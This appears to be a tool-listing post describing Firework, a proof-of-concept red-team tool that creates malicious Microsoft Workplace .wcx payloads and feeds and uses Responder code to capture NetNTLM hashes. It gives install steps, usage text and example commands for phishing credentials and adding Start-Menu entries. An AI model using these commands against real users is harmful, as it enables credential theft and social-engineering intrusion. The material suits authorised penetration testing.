Categories: Kali Linux

Firework – Tool To Interact With Microsoft Workplaces Creating Valid Files

Firework is a proof of concept tool to interact with Microsoft Workplaces creating valid files required for the provisioning process. The tool also wraps some code from Responder to leverage its ability to capture NetNTLM hashes from a system that provisions a Workplace feed via it.

This tool may be used as part of a penetration test or red team exercise to create a .wcx payload (and associated feed) that if clicked on could be used to:

Phish for credentials – NetNTLM hashes will be sent if a user enters their credentials (or on older versions of Windows automatically).
Add items to the Start-Menu – After set-up shortcuts are added to the Start-Menu which launch the served RDP file(s). These entries could potentially be used as part of a wider social engineering campaign.
Download resources – Resources such as the .rdp files and icon files are downloaded and updated by Windows on a daily basis (if authentication of the feed is disabled or is satisfied).

Firework Installation

Tested with Python 2.7.x. (Python3 not currently supported, although the main Firework class could be used in Python 3)

$ pip install -r requirements.txt

The tool serves content over HTTPS and requires a certificate and private key to use in-built web server with NetNTLM capture. Default files: cert.crt and key.pem

Also ReadKisMac2 – Free Open Source Wireless Stumbling & Security Tool For Mac OS X

Usage


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usage: firework.py [-h] -c COMPANY -u URL -a APP -e EXT -i ICON [-l LISTEN]
                   [-r RDP] [-d DOMAIN] [-n USERNAME] [-p PASSWORDHASH]
                   [-t CERT] [-k KEY]

WCX workplace tool

optional arguments:
  -h, --help            show this help message and exit
  -c COMPANY, --company COMPANY
                        Company name
  -u URL, --url URL     Feed URL
  -a APP, --app APP     App Name
  -e EXT, --ext EXT     App Extension
  -i ICON, --icon ICON  App Icon
  -l LISTEN, --listen LISTEN
                        TLS Web Server Port
  -r RDP, --rdp RDP     RDP Server
  -d DOMAIN, --domain DOMAIN
                        RDP Domain
  -n USERNAME, --username USERNAME
                        RDP Username
  -p PASSWORD, --password PASSWORD
                        RDP Password
  -t CERT, --cert CERT  SSL cert
  -k KEY, --key KEY     SSL key

Examples

Basic example:

Organisation Name: EvilCorp
URL to feed XML (or URL to Firework’s in-built server): https://example.org/ – This is where Windows downloads the feed from.
Application Name: Firework
File Extension: .fwk
Icon File: firework.ico

python ./firework.py -c EvilCorp -u https://example.org/ -a Firework -e .fwk -i ./firework.ico

In built web server will start on port 443 if cert.crt and key.pem are present in current directory. This will force an NTLM challenge with responder. If these files are not present the tool will write all files to local directory for your own hosting.

If you wish to start the in-built web server on alternate port use the -l flag as below:

python ./firework.py -c EvilCorp -u https://example.org/ -a Firework -e .fwk -i ./firework.ico

You can also add some customisations to the .rdp file that gets served.

Remote Desktop Server: dc.corp.local
Domain: corp.local
Username: admin
Password Crypt: Encrypted password that gets included in RDP file

Note: Passwords stored in .rdp files are likely ignored in a default config.

python ./firework.py -c EvilCorp -u https://example.org/ -a Firework -e .fwk -i ./firework.ico -r dc.corp.local -d corp.local -n admin -p <crypt password>